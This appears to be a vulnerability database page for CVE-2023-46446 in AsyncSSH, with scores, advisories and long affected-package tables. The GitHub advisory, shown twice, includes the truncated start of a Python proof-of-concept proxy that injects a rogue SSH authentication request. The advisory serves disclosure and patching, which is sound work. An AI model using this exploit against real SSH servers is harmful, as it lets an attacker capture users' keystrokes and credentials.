CVE-2023-46446
AsyncSSH Rogue Session Attack
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
NVD Score used
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
CVE-2023-46446- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
CVE List
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
CVE-2023-46446- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
EUVDEUVD-2023-0046
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
EUVD-2023-0046- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c35q-ffpf-5qpm
8.1
AsyncSSH Rogue Session Attack
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
<details> <summary>AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)</summary>
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep
##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##
## ##
## Variant: Unmodified variant (EXT_INFO by client required) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue authentication request and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket,…
- Record
GHSA-c35q-ffpf-5qpm- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-345, CWE-349, CWE-354, CWE-359, CWE-639
- Updated
- 2026-11-02
OSV
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
CVE-2023-46446- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-46446
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
DEBIAN-CVE-2023-46446- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-c35q-ffpf-5qpm
8.1
AsyncSSH Rogue Session Attack
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
<details> <summary>AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)</summary>
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep
##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##
## ##
## Variant: Unmodified variant (EXT_INFO by client required) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue authentication request and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket,…
- Record
GHSA-c35q-ffpf-5qpm- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-345, CWE-349, CWE-354, CWE-359, CWE-639
- Updated
- 2026-11-02
OSVPYSEC-2023-239
6.8
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
- Record
PYSEC-2023-239- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2025:4664
9.1
Red Hat Security Advisory: Red Hat Ceph Storage 7.1 security, bug fix, and enhancement updates
- Record
RHSA-2025:4664- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-46446
6.8
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
- Record
UBUNTU-CVE-2023-46446- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUSN-7108-1 No score
python-asyncssh vulnerabilities
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)
- Record
USN-7108-1- Updated
- 2026-11-02
OSVUSN-7108-2 No score
python-asyncssh vulnerabilities
USN-7108-1 fixed vulnerabilities in AysncSSH. This update provides the corresponding update for Ubuntu 18.04 LTS.
Original advisory details:
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)
Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)
- Record
USN-7108-2- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
asyncsshPyPI |
before 2.14.1 | 2.14.1 |
python-asyncsshDebian:12 |
before 2.10.1-2+deb12u2, plus listed versions 2.10.1-22.10.1-2+deb12u1 |
2.10.1-2+deb12u2 |
python-asyncsshDebian:13 |
before 2.15.0-1 | 2.15.0-1 |
python-asyncsshDebian:14 |
before 2.15.0-1 | 2.15.0-1 |
python-asyncsshDebian:11 From an advisory covering 3 CVEs |
before 2.5.0-0.1+deb11u1, plus listed versions 2.5.0-0.1 |
2.5.0-0.1+deb11u1 |
asyncsshPyPI |
before 2.14.1, plus listed versions 0.8.10.8.20.8.30.8.40.9.0 Show 45 moreShow less0.9.10.9.21.0.01.0.11.1.01.1.11.10.01.10.11.11.01.11.11.12.01.12.11.12.21.13.01.13.11.13.21.13.31.14.01.15.01.15.11.16.01.16.11.17.01.17.11.18.01.2.01.2.11.3.01.3.11.3.21.4.01.4.11.5.01.5.11.5.21.5.31.5.41.5.51.5.61.6.01.6.11.6.21.7.11.7.21.7.3 |
2.14.1 |
liboathRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
liboath-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
libpskc-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
oath-toolkitRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
Show 133 moreShow less
| Package | Affected | Fixed |
|---|---|---|
oath-toolkit-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
oath-toolkit-debugsourceRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
oathtool-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
pam_oath-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
pskctool-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el8cp | 0:2.6.12-1.el8cp |
liboathRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
liboath-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
libpskc-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
oath-toolkitRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
oath-toolkit-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
oath-toolkit-debugsourceRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
oathtool-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
pam_oath-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
pskctool-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 0:2.6.12-1.el9cp | 0:2.6.12-1.el9cp |
cephRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-baseRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-base-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-commonRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-common-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-debugsourceRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-exporter-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-fuseRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-fuse-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-immutable-object-cacheRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-immutable-object-cache-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-mds-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-mgr-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-mibRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-mon-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-osd-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-radosgw-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-resource-agentsRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-selinuxRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
ceph-test-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
cephfs-mirror-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
cephfs-topRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libcephfs-develRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libcephfs2Red Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libcephfs2-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libcephsqlite-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librados-develRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librados-devel-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librados2Red Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librados2-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libradospp-develRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libradosstriper1Red Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
libradosstriper1-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librbd-develRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librbd1Red Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librbd1-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librgw-develRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librgw2Red Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
librgw2-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-ceph-argparseRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-ceph-commonRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-cephfsRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-cephfs-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-radosRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-rados-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-rbdRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-rbd-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-rgwRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
python3-rgw-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
rbd-fuse-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
rbd-mirror-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
rbd-nbdRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
rbd-nbd-debuginfoRed Hat:ceph_storage:7.1::el8 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el8cp | 2:18.2.1-329.el8cp |
cephRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-baseRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-base-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-commonRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-common-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-debugsourceRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-exporter-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-fuseRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-fuse-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-immutable-object-cacheRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-immutable-object-cache-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-mds-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-mgr-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-mibRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-mon-client-nvmeof-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-mon-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-osd-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-radosgw-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-resource-agentsRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-selinuxRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
ceph-test-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
cephadmRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
cephfs-mirror-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
cephfs-topRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libcephfs-develRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libcephfs2Red Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libcephfs2-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libcephsqlite-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librados-develRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librados-devel-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librados2Red Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librados2-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libradospp-develRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libradosstriper1Red Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
libradosstriper1-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librbd-develRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librbd1Red Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librbd1-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librgw-develRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librgw2Red Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
librgw2-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-ceph-argparseRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-ceph-commonRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
